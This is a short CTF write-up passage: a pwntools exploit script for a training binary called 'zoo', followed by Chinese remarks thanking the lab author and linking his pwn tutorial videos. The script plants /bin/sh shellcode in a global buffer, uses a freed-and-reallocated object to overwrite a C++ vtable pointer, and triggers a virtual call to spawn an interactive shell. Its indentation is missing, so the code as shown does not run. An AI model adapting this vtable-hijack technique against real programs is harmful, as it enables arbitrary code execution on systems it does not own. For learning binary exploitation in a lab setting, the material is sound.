p = process("./zoo")#, aslr=0
elf = ELF("./zoo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
shellcode = asm(shellcraft.sh())
def add_dog(name,weight):
ru(":")
sl("1")
ru(":")
sl(name)
ru(":")
sl(str(weight))
def remove(idx):
ru(":")
sl("5")
ru(":")
sl(str(idx))
def listen(idx):
ru(":")
sl("3")
ru(":")
sl(str(idx))
#gdb.attach(p,"b *0x40193E\nc\n")
nameofzoo = 0x605420
ru(":")
sl(shellcode + p64(nameofzoo))
add_dog("a"*8,0)
add_dog("b"*8,1)
# debug()
remove(0)
# pause()
fake_vptr = nameofzoo + len(shellcode)
add_dog("c"*72 + p64(fake_vptr),2)
#pause()
listen(0)
getshell()
通过接触这题,发现还是得去看看c++的逆向,学会逆一下c++
从lab1到lab15,花了我挺多的时间,但学了很多姿势,非常感谢Angelboy大佬
另外他在油管还有几个pwn的教学视频,个人觉得挺不错的,拿出来分享一波
https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gARObA